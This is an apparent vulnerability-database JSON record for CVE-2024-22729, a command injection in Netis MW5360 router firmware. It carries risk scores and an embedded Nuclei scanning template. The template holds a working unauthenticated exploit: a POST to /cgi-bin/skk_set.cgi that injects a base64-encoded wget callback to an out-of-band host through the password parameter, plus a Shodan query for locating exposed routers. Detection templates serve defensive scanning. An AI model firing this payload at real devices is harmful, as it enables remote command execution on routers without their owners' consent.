{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-22729/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-22729/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-22729/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-22729/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-22729/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-22729"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-22729"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.70779,
      "kev": false,
      "percentile": 0.99379
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-22729.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-22729\n\ninfo:\n  name: Netis MW5360 V1.0.1.3031 - Command Injection\n  author: pussycat0x\n  severity: critical\n  description: |\n    NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands via the password parameter, potentially compromising the entire Netis router.\n  remediation: |\n    Update Netis MW5360 firmware to a version newer than V1.0.1.3031.\n  reference:\n    - https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-22729\n    cwe-id: CWE-77\n    epss-score: 0.70779\n    epss-percentile: 0.99379\n    cpe: cpe:2.3:o:netis-systems:mw5360_firmware:1.0.1.3031:*:*:*:*:*:*:*\n  metadata:\n    vendor: netis-systems\n    product: mw5360_firmware\n    shodan-query: title:\"netis router\"\n  tags: cve,cve2024,rce,netis,unauth,vkev,vuln\n\nvariables:\n  payload: \"wget http://{{interactsh-url}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"netis router\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /cgi-bin/skk_set.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n        password={{base64(\"{{payload}}\")}}&quick_set=ap&app=wan_set_shortcutz\n\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100de5f3c1f45859cc1ec6fca9758317acaad625ad596e7adea725537850ed5112f02202b588b4e15e2a48e350bbd7c0f15a59e4fa1db24f0726faaeb736f6f61855679:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-22729"
}